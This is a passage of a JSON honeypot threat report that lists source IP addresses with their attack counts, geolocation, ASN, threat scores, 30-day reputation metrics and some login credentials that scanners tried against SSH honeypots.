      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:44:18.726000+00:00",
        "last_seen_30d": "2026-04-30T16:46:00.201000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "119.148.49.82": {
      "attack_count": 8,
      "first_seen": "2026-04-04T22:57:15.648Z",
      "last_seen": "2026-04-18T19:13:43.360Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 23923,
      "as_org": "Agni Systems Limited",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T22:57:15.648000+00:00",
        "last_seen_30d": "2026-04-18T19:14:47.891000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 8
      }
    },
    "172.203.251.111": {
      "attack_count": 8,
      "first_seen": "2026-04-16T22:48:36.071Z",
      "last_seen": "2026-04-19T21:47:19.276Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 69.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.0,
        "persistence": 23.3,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 28,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T03:35:59.413000+00:00",
        "last_seen_30d": "2026-04-29T15:21:30.563000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Cowrie": 8,
        "Honeytrap": 8
      }
    },
    "45.84.107.222": {
      "attack_count": 8,
      "first_seen": "2026-04-06T21:12:06.633Z",
      "last_seen": "2026-04-06T21:12:27.246Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 46.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.8,
        "persistence": 15.8,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 19,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-06T21:12:06.633000+00:00",
        "last_seen_30d": "2026-04-24T09:13:40.369000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "H0neytr4p": 7,
        "Ciscoasa": 6,
        "Cowrie": 6
      }
    },
    "20.55.73.223": {
      "attack_count": 7,
      "first_seen": "2026-04-20T22:00:51.603Z",
      "last_seen": "2026-04-20T22:01:01.735Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 59.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.9,
        "persistence": 18.3,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 22,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T18:39:44+00:00",
        "last_seen_30d": "2026-04-28T09:35:21.190000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Cowrie": 7,
        "Honeytrap": 6
      }
    },
    "172.235.40.131": {
      "attack_count": 6,
      "first_seen": "2026-04-24T19:14:41.413Z",
      "last_seen": "2026-04-24T19:14:41.686Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 75.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 26,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T23:25:35+00:00",
        "last_seen_30d": "2026-04-28T20:43:49.831000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 26,
        "Cowrie": 6,
        "Tanner": 1
      }
    },
    "198.20.127.221": {
      "attack_count": 6,
      "first_seen": "2026-04-28T20:20:45.655Z",
      "last_seen": "2026-04-28T20:20:52.743Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:20:45.655000+00:00",
        "last_seen_30d": "2026-04-28T20:21:53.915000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.172.102": {
      "attack_count": 6,
      "first_seen": "2026-04-19T15:37:44.659Z",
      "last_seen": "2026-04-19T15:38:24.894Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 30,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T05:28:24+00:00",
        "last_seen_30d": "2026-04-30T03:56:33.860000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 39,
        "Cowrie": 6,
        "ElasticPot": 4,
        "ConPot": 3,
        "Dionaea": 1
      }
    },
    "66.132.172.180": {
      "attack_count": 6,
      "first_seen": "2026-04-17T07:42:05.470Z",
      "last_seen": "2026-04-17T07:42:44.755Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 248,
        "days_active_30d": 30,
        "ports_targeted_30d": 55,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T01:45:08+00:00",
        "last_seen_30d": "2026-04-30T21:34:02.637000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 149,
        "Honeytrap": 57,
        "Dionaea": 12,
        "ElasticPot": 7,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "Miniprint": 6,
        "Dicompot": 2,
        "Honeyaml": 2,
        "Mailoney": 1
      }
    },
    "72.255.18.31": {
      "attack_count": 6,
      "first_seen": "2026-04-25T08:54:20.175Z",
      "last_seen": "2026-04-25T08:54:58.641Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Jhelum",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T08:54:20.175000+00:00",
        "last_seen_30d": "2026-04-25T08:56:05.616000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "101.36.106.43": {
      "attack_count": 5,
      "first_seen": "2026-04-20T00:39:48.957Z",
      "last_seen": "2026-04-20T00:39:50.037Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-17T10:17:52.542000+00:00",
        "last_seen_30d": "2026-04-20T08:41:02.469000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Tanner": 46,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "146.70.194.89": {
      "attack_count": 5,
      "first_seen": "2026-04-15T03:10:14.363Z",
      "last_seen": "2026-04-15T03:12:14.451Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "s1mpl3"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 202,
        "days_active_30d": 1,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-15T03:04:30+00:00",
        "last_seen_30d": "2026-04-15T03:13:23.006000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "H0neytr4p": 172,
        "Suricata": 19,
        "Cowrie": 5,
        "Honeytrap": 4,
        "Dionaea": 2
      }
    },
    "207.180.198.88": {
      "attack_count": 5,
      "first_seen": "2026-04-10T14:46:49.888Z",
      "last_seen": "2026-04-10T14:46:52.280Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech@1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T14:46:49.888000+00:00",
        "last_seen_30d": "2026-04-10T14:47:58.156000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "77.239.102.252": {
      "attack_count": 5,
      "first_seen": "2026-04-10T11:45:54.074Z",
      "last_seen": "2026-04-10T11:45:57.980Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "centos"
      ],
      "passwords_attempted": [
        "2025@kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 213877,
      "as_org": "U1 Digital Services Ltd",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:45:54.074000+00:00",
        "last_seen_30d": "2026-04-10T11:47:06.504000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "103.49.188.186": {
      "attack_count": 4,
      "first_seen": "2026-04-27T17:40:37.289Z",
      "last_seen": "2026-04-28T00:18:49.998Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 9341,
      "as_org": "PT INDONESIA COMNETS PLUS",
      "threat_score": 39.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:43:39.156000+00:00",
        "last_seen_30d": "2026-04-28T00:28:55.618000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "104.152.52.120": {
      "attack_count": 4,
      "first_seen": "2026-04-01T04:14:15.563Z",
      "last_seen": "2026-04-01T04:14:16.005Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 70.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.2,
        "persistence": 24.2,
        "diversity": 10,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 29,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T04:14:15.563000+00:00",
        "last_seen_30d": "2026-04-29T04:36:47.450000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 4,
        "Dionaea": 2,
        "H0neytr4p": 1,
        "Honeytrap": 1
      }
    },
    "109.105.210.92": {
      "attack_count": 4,
      "first_seen": "2026-04-28T15:59:31.201Z",
      "last_seen": "2026-04-28T15:59:31.852Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 59.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 19.2,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 23,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-06T00:21:24+00:00",
        "last_seen_30d": "2026-04-28T16:00:36.854000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4,
        "Honeytrap": 2,
        "H0neytr4p": 1
      }
    },
    "189.182.139.28": {
      "attack_count": 4,
      "first_seen": "2026-04-28T08:50:55.648Z",
      "last_seen": "2026-04-28T08:52:56.043Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Zapopan",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T08:50:55.648000+00:00",
        "last_seen_30d": "2026-04-28T09:03:57.982000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "44.220.185.223": {
      "attack_count": 4,
      "first_seen": "2026-04-26T11:13:26.809Z",
      "last_seen": "2026-04-26T11:13:28.250Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T11:13:26.809000+00:00",
        "last_seen_30d": "2026-04-26T11:14:29.709000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "46.225.97.112": {
      "attack_count": 4,
      "first_seen": "2026-04-23T13:35:03.950Z",
      "last_seen": "2026-04-23T15:18:31.994Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-23T13:35:03.950000+00:00",
        "last_seen_30d": "2026-04-23T15:19:38.515000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "47.242.111.161": {
      "attack_count": 4,
      "first_seen": "2026-04-20T17:53:33.534Z",
      "last_seen": "2026-04-20T17:53:41.535Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T17:53:33.534000+00:00",
        "last_seen_30d": "2026-04-20T17:54:51.082000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.62.156.189": {
      "attack_count": 4,
      "first_seen": "2026-04-23T14:33:02.936Z",
      "last_seen": "2026-04-23T14:33:07.024Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 67.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.2,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 26,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T06:05:24.041000+00:00",
        "last_seen_30d": "2026-04-29T05:33:46.503000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "64.62.156.27": {
      "attack_count": 4,
      "first_seen": "2026-04-22T13:49:30.124Z",
      "last_seen": "2026-04-22T13:49:34.124Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 64.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 27,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T11:00:17+00:00",
        "last_seen_30d": "2026-04-27T11:31:35.790000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "66.132.195.117": {
      "attack_count": 4,
      "first_seen": "2026-04-09T17:33:45.808Z",
      "last_seen": "2026-04-09T17:34:01.043Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 85.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 28,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T08:48:41+00:00",
        "last_seen_30d": "2026-04-29T15:20:19.963000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 91,
        "Honeytrap": 12,
        "Tanner": 6,
        "Cowrie": 4,
        "Dicompot": 1
      }
    },
    "86.14.11.62": {
      "attack_count": 4,
      "first_seen": "2026-04-22T02:11:25.472Z",
      "last_seen": "2026-04-22T02:33:45.038Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Romford",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T02:11:25.472000+00:00",
        "last_seen_30d": "2026-04-22T02:38:09.927000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4
      }
    },
    "129.121.84.193": {
      "attack_count": 3,
      "first_seen": "2026-04-02T12:30:51.849Z",
      "last_seen": "2026-04-02T12:31:52.571Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 70.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 24.2,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 29,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T12:30:51.849000+00:00",
        "last_seen_30d": "2026-04-30T15:39:55.693000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Tanner": 44,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "65.49.20.66": {
      "attack_count": 3,
      "first_seen": "2026-04-09T01:33:56.467Z",
      "last_seen": "2026-04-09T01:33:56.469Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 495,
        "days_active_30d": 30,
        "ports_targeted_30d": 101,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T02:11:28+00:00",
        "last_seen_30d": "2026-04-30T15:44:35.377000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 298,
        "Honeytrap": 151,
        "Ciscoasa": 14,
        "Mailoney": 12,
        "Dionaea": 10,
        "Cowrie": 3,
        "ElasticPot": 3,
        "Adbhoney": 2,
        "ConPot": 2
      }
    },
    "101.200.148.8": {
      "attack_count": 2,
      "first_seen": "2026-04-28T18:04:06.172Z",
      "last_seen": "2026-04-28T18:04:06.174Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
